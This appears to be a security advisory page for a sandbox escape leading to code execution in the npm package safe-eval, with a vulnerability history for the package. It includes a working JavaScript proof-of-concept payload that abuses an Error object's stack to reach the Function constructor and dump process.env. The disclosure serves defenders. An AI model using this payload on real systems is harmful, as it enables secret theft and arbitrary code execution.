Sandbox Breakout / Arbitrary Code Execution in safe-eval
All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.
Evaluating the payload
(function (){
var ex = new Error
ex.__proto__ = null
ex.stack = {
match: x => {
return x.constructor.constructor("throw process.env")()
}
}
return ex
})()prints the contents of process.env.
Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | safe-eval | <= 0.4.1 | no fix |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-94- Platform
- npm
- Package
safe-eval- Disclosed
- 25.08.2020
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-hrpq-r399-whgw - CC BY 4.0
Vulnerability history: safe-eval
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 6
- First → latest
- 07.2018 04.2023
- Without a fix
- 6
- Exploited in attacks
- 0
Severity breakdown
- Critical 5
- High 1
Disclosures per year
- 2018: 1
- 2019: 0
- 2020: 2
- 2021: 0
- 2022: 1
- 2023: 2
- 2024: 0
- 2025: 0
- 2026: 0
-
Sandbox Breakout / Arbitrary Code Execution in safe-eval this entry
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